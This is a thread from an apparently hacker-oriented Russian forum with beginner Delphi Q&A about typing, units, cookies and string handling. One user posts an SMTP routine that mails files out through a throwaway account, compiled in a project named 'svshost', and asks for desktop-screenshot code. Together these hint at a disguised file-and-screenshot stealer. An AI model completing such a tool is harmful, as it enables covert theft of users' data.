ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2471  
Старый 20.12.2008, 21:02
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

М, а есть тут функця тпа var_dump() как в пыхе чтоб тип показывала
 
Ответить с цитированием

  #2472  
Старый 20.12.2008, 21:17
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

>>чтоб тип показывала
в смысле? вообще-то в паскале статическая типизация (вроде это так называется)
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #2473  
Старый 20.12.2008, 21:26
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

desTiny, ну string/integer/array чоб показывало
Напрмер var_dump('123') скажет что это string

И ещё вопрос, вот мне эта функция explode мешает, много места занимает =\
Можно-ли её как-то сныкать в другой файл и потом типа include запросить её, ну а её куданить ну в dll пихнуть, ну в общем разбить код на части

Последний раз редактировалось Ponchik; 20.12.2008 в 21:32..
 
Ответить с цитированием

  #2474  
Старый 20.12.2008, 21:50
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Pir4tt ещё раз большое спс, всё отлично работает, просто думал что и так отпарсится, а там надо дописать memo1.Text:=a; ну это ладн.

У меня ещё вопрос... я посылаю GET коннект к сайту значит, а сайт назначает куки, мне эти полученные куки надо запихнуть в Memo, это первая нужная мне команда.

Далее отредактировав куки как надо, я передаю POST запрос и отредактированные куки уже должны быть + должна передаваться Content-Length этого пост запроса.

Очень желательно всё это делать на стандартном компоненте idHTTP, с кукисами я вообще никогда не работал, и не знаю принцип работы.
 
Ответить с цитированием

  #2475  
Старый 20.12.2008, 23:50
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

Цитата:
Сообщение от Ponchik  
desTiny, ну string/integer/array чоб показывало
Напрмер var_dump('123') скажет что это string

И ещё вопрос, вот мне эта функция explode мешает, много места занимает =\
Можно-ли её как-то сныкать в другой файл и потом типа include запросить её, ну а её куданить ну в dll пихнуть, ну в общем разбить код на части
а) если у тебя переменная задана типа var a: integer; то a навеки останется integer'ом... Точно так же константам присваивается тип однозначно. так что смысла в том, о чём ты говоришь, нету.

б) создаёшь новый юнит, фигаришь туда свою функцию (либо совсем тупо, либо отельно заголовок до слова implementation, и всю функу после), а потом пишешь оттуда, где хочешь юзать функу - uses Unit2
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #2476  
Старый 21.12.2008, 00:03
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

Ponchik почитать можно про Variant
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #2477  
Старый 21.12.2008, 00:08
xaker-boss
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме:
1547094

Репутация: 120
Отправить сообщение для xaker-boss с помощью ICQ
По умолчанию

Вот есть у меня такой кодик, я хочу отправить файл
PHP код:
procedure SendEmail(sTosFileString);
var
  
MTIdMessage;
begin
  M 
:= TIdMessage.Create(Form1);
  
M.Body.Add('Files');
  
M.From.Text := '"Vet" <retriveipa777@pisem.net>'//отправитель
  
M.Recipients.Add;
  
M.Recipients.Items[0].Text := '"Post" <'+sTo+'>'
  
M.MessageParts.Add;
  
TIdAttachment.Create(m.MessageParts,sFile);
  
M.Subject := ':)'//Тема письма

  
Form1.IdSMTP1.AuthenticationType := atLogin;
  
Form1.IdSMTP1.Host := 'smtp.pisem.net';
  
Form1.IdSMTP1.Username := 'retriveipa777@pisem.net';
  
Form1.IdSMTP1.Password := '*******';
  
Form1.IdSMTP1.Connect();
  if 
Form1.IdSMTP1.Connected then
  begin
    Form1
.IdSMTP1.Send(M);
  
end;
  
Form1.IdSMTP1.Disconnect;
end
Но делфя по чему то выдаёт мне Ошибки в этих строчках:
TIdAttachment.Create(m.MessageParts,sFile);

Form1.IdSMTP1.AuthenticationType := atLogin;

И пишет мне это:
PHP код:
[DCC ErrorUnit1.pas(210): E2003 Undeclared identifier'TIdAttachment'
[DCC ErrorUnit1.pas(210): E2066 Missing operator or semicolon
[DCC ErrorUnit1.pas(213): E2003 Undeclared identifier'AuthenticationType'
[DCC ErrorUnit1.pas(213): E2003 Undeclared identifier'atLogin'
[DCC Errorsvshost.dpr(11): F2063 Could not compile used unit 'Unit1.pas' 
Кто знает как это исправить?
 
Ответить с цитированием

  #2478  
Старый 21.12.2008, 00:22
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

xaker-boss, у тебя не существует TIdAttachment, надо его кагбы создать сначало
http://forum.vingrad.ru/forum/s/72a6918e29f4b4524b74845652ec71aa/topic-152032.html
========================
Блина, вот проблема ппц, я незнаю чё делать Х_Х
В общем есть у меня поле, прикрутил к нему UpDown кнопки, если число больше 1000 то ставится пробел, тоесть 1 000 мне это число надо отправить на сервер через WebBrowser я юзаю
str.Text - это и есть число с пробелом 1 000
wb1.Navigate('http://127.0.0.1/script.php?status=ok&number=' + str.Text + '&something=tralala');
в скрипте script.php записавыю QUERY_STRING в файл, смарю в файл и чё =\
Записывается status=ok&number=1
Всё остальное отрубается ((
Как запретить полю делить числа пробелами, пытался вырезать эти пробелы, нащёл в гугле str_replace всёравно не помогло
Пытался IntToStr он грит типа немогу StrToInt грит несовместим int и str, или наоборот, ну неважно!
Надо запретить делить пробелами =\
Если выполнить str.Text := 1000; то оно нормально будет отображаться без пробелов, но если клацнуть на updown сразу делиться =\

Последний раз редактировалось Ponchik; 21.12.2008 в 00:31..
 
Ответить с цитированием

  #2479  
Старый 21.12.2008, 01:10
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

xaker-boss
Цитата:
var a:TIdAttachment;
a:=TIdAttachment.Create(m.MessageParts,sFile);

IdSMTP1.AuthenticationType
проверь, этот метод вообще у этого объекта есть?
Ponchik
1 - использовать Replace(' ', '');
2 - искать и удалять пробелы
3 - имхо самый вариант, использовать компонент TSpinEdit (вкладка Samples)
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #2480  
Старый 21.12.2008, 02:01
xaker-boss
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме:
1547094

Репутация: 120
Отправить сообщение для xaker-boss с помощью ICQ
По умолчанию

А подскажитека код, чтобы при нажатию на кнопку делался скрин рабочего стала и сохранялся дапустим в C:\
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/WPAN/WLAN 2567 19.04.2026 23:21
[ *NIX ] Задай вопрос - получи ответ. Xszz *nix 1547 15.06.2010 15:41
[jQuery] - Задай вопрос, получи ответ Isis PHP, PERL, MySQL, JavaScript 62 25.12.2009 03:25
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ